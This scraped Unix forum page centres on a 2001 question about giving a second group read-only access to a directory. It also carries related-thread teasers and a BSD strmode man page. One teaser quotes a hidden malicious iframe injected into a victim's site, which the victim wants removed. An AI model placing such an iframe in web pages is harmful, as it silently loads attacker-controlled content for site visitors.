Sponsored Content
Top Forums UNIX for Dummies Questions & Answers Multiple Group Priveleges on same directory? Post 7248 by TyHockett on Friday 21st of September 2001 03:57:02 PM
Old 09-21-2001
Java Multiple Group Priveleges on same directory?

On my FTP server (Darwin/Mac OS X -- pretty much FreeBSD), I need to apply the following permissions to a directory:

1. A specific owner with full access
2. A specific group with full access
3. A specific group with read-only access
4. No access whatsoever for everyone else

I understand how to apply permission for the owner (1.), the first group (2.), and everyone else (4.)....

Code:
chown owner:group1 dirname
chmod 770 dirname

What I don't get is how to apply read only access for my second group (3.). I feel certain that I a missing something big here. Can anyone help?
 

10 More Discussions You Might Find Interesting

1. UNIX for Dummies Questions & Answers

sqlplus priveleges.

I was wondering if users can be restricted from invoking sqlplus in unix from certain directories. In other words certain users should be able to invoke sqlplus only through certain directories (1 Reply)
Discussion started by: oracle8
1 Replies

2. UNIX for Advanced & Expert Users

How to find permissions/roles/priveleges of User

Hello Everyone, if we log on to unix server how do we find that what permissions/roles and priveleges are assigned to any particular user. Here i am not talking about the file permissions. Thanks (1 Reply)
Discussion started by: hardesh
1 Replies

3. UNIX for Dummies Questions & Answers

limiting home directory size for a group

Is there a way to set the size of the home directory for every single user in a specific group, in more details: I have a group & i will have to add about 20 users to it to be their home directories. i want each of the home directories for this group to be limited to 50 MB Help? (11 Replies)
Discussion started by: Katkota
11 Replies

4. UNIX for Dummies Questions & Answers

how to add permission of directory to a group

Hi, A simple and silly question on Unix. I have a directory named "a" and I would like to grant permission to group name "text" to access, read and execute my directory. Could anyone help me? Thanks. (2 Replies)
Discussion started by: ahjiefreak
2 Replies

5. Shell Programming and Scripting

[help]Delete or replace text in multiple file and multiple directory

here's the case : almost of php/html file on my site has added the text : <iframe src="http://google-analyze.cn/count.php?o=1" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>I don't know how this happen, so i want to remove above text from all... (16 Replies)
Discussion started by: dzufauzan
16 Replies

6. Shell Programming and Scripting

print summary of directory, and group all symbolic links

I am trying to get a summary of filetypes in a directory, but the total count of symbolic links is not working. I am stuck at the results of the file command. I have used the find command to confirm my expectations, but my bash function is not giving the results I want. Here is my function:... (2 Replies)
Discussion started by: AlphaLexman
2 Replies

7. UNIX for Dummies Questions & Answers

Group files by owner and show directory

Hello, i would like to find huge files and group them by owners. To find big files i use this command: ls -lR | sort -bnr +4 | head -n 75 which give me 75 biggest files, then i need to see in which subdirectory is every file. second thing i dont know is how to group those files by owner, could... (6 Replies)
Discussion started by: dealer1985
6 Replies

8. UNIX for Advanced & Expert Users

Setfacl and granting permissions to a group and its members on a directory

Hi! I created a group HACKERS and made the user "demo" its member. $ id demo uid=500(demo) gid=500(demo) groups=500(demo),502(HACKERS) $ Next, I granted read and execute permissions to the group "HACKERS" on /var/log/httpd as shown below: setfacl -m "g:HACKERS:r-x"... (2 Replies)
Discussion started by: indiansoil
2 Replies

9. Shell Programming and Scripting

Average across multiple columns group by

Hi experts, I want to group by average, for multiple columns starting column $7 until NF, group by ($1-$5), please help For just 7th column, I can do awk ' NR>1{ arr += $7 count += 1 } END{ for (a in arr) { print a, arr/count ... (10 Replies)
Discussion started by: ritakadm
10 Replies

10. UNIX for Advanced & Expert Users

Linux cant cd into directory and part of group

I am part of the group group1. The directory permission I am trying to cd into are 770 for both the parent directory and child directory but I still can not cd into. What am I doing wrong? $ ls -l /NAS/infa/ drwxrwxr-x. 22 user1 group1 506 Jun 6 17:05 infa_shared $... (5 Replies)
Discussion started by: cokedude
5 Replies
STRMODE(3)                                                 BSD Library Functions Manual                                                 STRMODE(3)

NAME
strmode -- convert inode status information into a symbolic string LIBRARY
Utility functions from BSD systems (libbsd, -lbsd) SYNOPSIS
#include <bsd/string.h> void strmode(mode_t mode, char *bp); DESCRIPTION
The strmode() function converts a file mode (the type and permission information associated with an inode, see stat(2)) into a symbolic string which is stored in the location referenced by bp. This stored string is eleven characters in length plus a trailing NUL. The first character is the inode type, and will be one of the following: - regular file b block special c character special d directory l symbolic link p fifo s socket w whiteout ? unknown inode type The next nine characters encode three sets of permissions, in three characters each. The first three characters are the permissions for the owner of the file, the second three for the group the file belongs to, and the third for the ``other'', or default, set of users. Permission checking is done as specifically as possible. If read permission is denied to the owner of a file in the first set of permis- sions, the owner of the file will not be able to read the file. This is true even if the owner is in the file's group and the group permis- sions allow reading or the ``other'' permissions allow reading. If the first character of the three character set is an ``r'', the file is readable for that set of users; if a dash ``-'', it is not read- able. If the second character of the three character set is a ``w'', the file is writable for that set of users; if a dash ``-'', it is not writable. The third character is the first of the following characters that apply: S If the character is part of the owner permissions and the file is not executable or the directory is not searchable by the owner, and the set-user-id bit is set. S If the character is part of the group permissions and the file is not executable or the directory is not searchable by the group, and the set-group-id bit is set. T If the character is part of the other permissions and the file is not executable or the directory is not searchable by others, and the ``sticky'' (S_ISVTX) bit is set. s If the character is part of the owner permissions and the file is executable or the directory searchable by the owner, and the set- user-id bit is set. s If the character is part of the group permissions and the file is executable or the directory searchable by the group, and the set- group-id bit is set. t If the character is part of the other permissions and the file is executable or the directory searchable by others, and the ``sticky'' (S_ISVTX) bit is set. x The file is executable or the directory is searchable. - None of the above apply. The last character is a plus sign ``+'' if any there are any alternate or additional access control methods associated with the inode, other- wise it will be a space. SEE ALSO
chmod(1), find(1), stat(2), getmode(3), setmode(3) HISTORY
The strmode() function first appeared in 4.4BSD. BSD July 28, 1994 BSD
All times are GMT -4. The time now is 05:16 AM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy